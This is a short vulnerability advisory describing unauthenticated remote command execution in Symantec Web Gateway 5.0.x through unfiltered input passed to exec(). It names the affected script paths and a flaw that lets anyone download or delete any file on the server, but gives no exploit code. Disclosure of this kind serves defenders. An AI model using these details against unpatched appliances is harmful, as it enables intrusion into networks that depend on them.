TITLE

Symantec Web Gateway Remote Shell Command Execution Vulnerability

DESCRIPTION

The management GUI in Symantec Web Gateway 5.0.x before 5.0.3 does not properly restrict access to application scripts, which allows remote attackers to execute arbitrary code by (1) injecting crafted data or (2) including crafted data. Authentication is not required to exploit this vulnerability. The specific flaw exists due to insufficiently filtered user-supplied data used in a call to exec() in multiple script pages. The affected scripts are located in '/spywall/ipchange.php' and 'network.php'. There is also a flaw in '/spywall/download_file.php' that allows unauthenticated users to download and delete any file on the server. Symantec Web Gateway is a Web security gateway hardware appliance. Due to weak validation and lack of filtering of user control input, an attacker can inject arbitrary code into an application script and execute it with application privileges. Successful exploits will result in the execution of arbitrary attack-supplied commands in the context of the affected application. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more.
